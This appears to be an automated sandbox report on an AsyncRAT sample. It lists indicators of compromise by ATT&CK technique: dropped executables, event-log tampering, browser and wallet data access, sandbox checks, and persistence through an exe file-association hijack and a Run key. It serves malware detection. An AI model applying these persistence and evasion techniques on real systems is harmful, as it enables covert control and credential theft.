asyncrat | 7723fd269e8d6a1ada1fffae67bc1f8470fde6fed1ebecbe7df5c53deb4b6907

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation	32f55b892056a01033de479bb15f445e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation	czuanu.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation	czuanu.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation	$77SVC~1.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation	WinUpdate.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation	WINUPD~1.EXE

Executes dropped EXE 21 IoCs

pid	Process
4456	pop3.exe
2012	czuanu.exe
184	czuanu.exe
208	Install.exe
4528	svchost.com
888	$77SVC~1.EXE
2060	svchost.com
4848	WinUpdate.exe
2520	svchost.com
3044	WINUPD~1.EXE
3368	svchost.com
3684	WinUpdate.exe
2256	svchost.com
3700	svchost.com
4400	rgyfjq.exe
3388	svchost.com
2188	svchost.com
4772	xcfbhx.exe
2068	svchost.com
3616	svchost.com
1716	fhgqqd.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 3 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx	svchost.exe

Modifies system executable filetype association 2 TTPs 1 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1546.001

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	czuanu.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Bqoqoaflz = "C:\\Users\\Admin\\AppData\\Local\\Bqoqoaflz.exe"	32f55b892056a01033de479bb15f445e.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3548	powershell.EXE
1260	powershell.exe
1380	powershell.exe
184	powershell.exe
184	powershell.exe

Drops file in System32 directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\WinUpdate	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 920 set thread context of 2868	920	32f55b892056a01033de479bb15f445e.exe	90
PID 920 set thread context of 2480	920	32f55b892056a01033de479bb15f445e.exe	91
PID 920 set thread context of 3028	920	32f55b892056a01033de479bb15f445e.exe	92
PID 920 set thread context of 3608	920	32f55b892056a01033de479bb15f445e.exe	93
PID 920 set thread context of 792	920	32f55b892056a01033de479bb15f445e.exe	94
PID 3548 set thread context of 216	3548	powershell.EXE	110

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13147~1.37\MI9C33~1.EXE	czuanu.exe
File opened for modification	C:\PROGRA~3\Adobe\Setup\{AC76B~1\setup.exe	czuanu.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{D87AE~1\WINDOW~1.EXE	czuanu.exe
File opened for modification	C:\PROGRA~2\WINDOW~2\wab.exe	svchost.com
File opened for modification	C:\PROGRA~2\WINDOW~4\wmlaunch.exe	svchost.com
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADelRCP.exe	czuanu.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Oracle\Java\javapath\javaw.exe	czuanu.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\INSTAL~1\setup.exe	czuanu.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ExtExport.exe	czuanu.exe
File opened for modification	C:\PROGRA~2\WI8A19~1\ImagingDevices.exe	svchost.com
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroRd32.exe	czuanu.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\Eula.exe	czuanu.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jaureg.exe	czuanu.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\COOKIE~1.EXE	czuanu.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\MSEDGE~1.EXE	czuanu.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmpshare.exe	czuanu.exe
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\MSInfo\msinfo32.exe	svchost.com
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\FULLTR~1.EXE	czuanu.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\AdobeARM.exe	czuanu.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Oracle\Java\javapath\javaws.exe	czuanu.exe
File opened for modification	C:\PROGRA~2\MOZILL~1\MAINTE~1.EXE	czuanu.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmprph.exe	czuanu.exe
File opened for modification	C:\PROGRA~2\WINDOW~3\ACCESS~1\wordpad.exe	czuanu.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmprph.exe	svchost.com
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroCEF\RdrCEF.exe	czuanu.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GOOGLE~1.EXE	czuanu.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13147~1.37\MICROS~4.EXE	czuanu.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{57A73~1\VC_RED~1.EXE	czuanu.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROTE~1.EXE	czuanu.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADOBEC~1.EXE	czuanu.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\MSEDGE~3.EXE	czuanu.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\BHO\IE_TO_~1.EXE	czuanu.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmpconfig.exe	svchost.com
File opened for modification	C:\PROGRA~2\WINDOW~4\wmpshare.exe	svchost.com
File opened for modification	C:\PROGRA~2\INTERN~1\iexplore.exe	czuanu.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\MSEDGE~2.EXE	czuanu.exe
File opened for modification	C:\PROGRA~2\WINDOW~2\wab.exe	czuanu.exe
File opened for modification	C:\PROGRA~2\WI8A19~1\ImagingDevices.exe	czuanu.exe
File opened for modification	C:\PROGRA~3\MICROS~1\CLICKT~1\{9AC08~1\INTEGR~1.EXE	czuanu.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROBR~1.EXE	czuanu.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\Browser\WCCHRO~1\WCCHRO~1.EXE	czuanu.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ieinstal.exe	czuanu.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{61087~1\VCREDI~1.EXE	czuanu.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ielowutil.exe	svchost.com
File opened for modification	C:\PROGRA~2\WINDOW~2\wabmig.exe	svchost.com
File opened for modification	C:\PROGRA~2\WINDOW~4\wmplayer.exe	svchost.com
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GOF5E2~1.EXE	czuanu.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13147~1.37\MICROS~2.EXE	czuanu.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{4D8DC~1\VC_RED~1.EXE	czuanu.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\LOGTRA~1.EXE	czuanu.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmlaunch.exe	czuanu.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\IDENTI~1.EXE	czuanu.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\msedge.exe	czuanu.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\MSEDGE~1.EXE	czuanu.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmpconfig.exe	czuanu.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{33D1F~1\VCREDI~1.EXE	czuanu.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\32BITM~1.EXE	czuanu.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\64BITM~1.EXE	czuanu.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.371\GOBD5D~1.EXE	czuanu.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ieinstal.exe	svchost.com
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\ELEVAT~1.EXE	czuanu.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\920902~1.67\PWAHEL~1.EXE	czuanu.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe	czuanu.exe
File opened for modification	C:\PROGRA~2\WINDOW~2\wabmig.exe	czuanu.exe

Drops file in Windows directory 23 IoCs

description	ioc	Process
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\svchost.com	WinUpdate.exe
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\svchost.com	czuanu.exe
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\directx.sys	svchost.com
File opened for modification	C:\Windows\directx.sys	WinUpdate.exe
File opened for modification	C:\Windows\svchost.com	svchost.com
File opened for modification	C:\Windows\svchost.com	svchost.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
700	4772	WerFault.exe	144
680	1716	WerFault.exe	153

System Location Discovery: System Language Discovery 1 TTPs 47 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	czuanu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WerFault.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fhgqqd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINUPD~1.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	$77SVC~1.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WinUpdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	32f55b892056a01033de479bb15f445e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WinUpdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rgyfjq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xcfbhx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WerFault.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pop3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallUtil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WerFault.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WerFault.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ipconfig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	czuanu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe

Checks processor information in registry 2 TTPs 12 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
4296	timeout.exe
3444	timeout.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
4932	ipconfig.exe
2204	ipconfig.exe

Modifies data under HKEY_USERS 55 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Tue, 06 Aug 2024 21:22:42 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1722979361"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={D7E9F11A-84D7-47FC-A902-949C8C009CC0}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
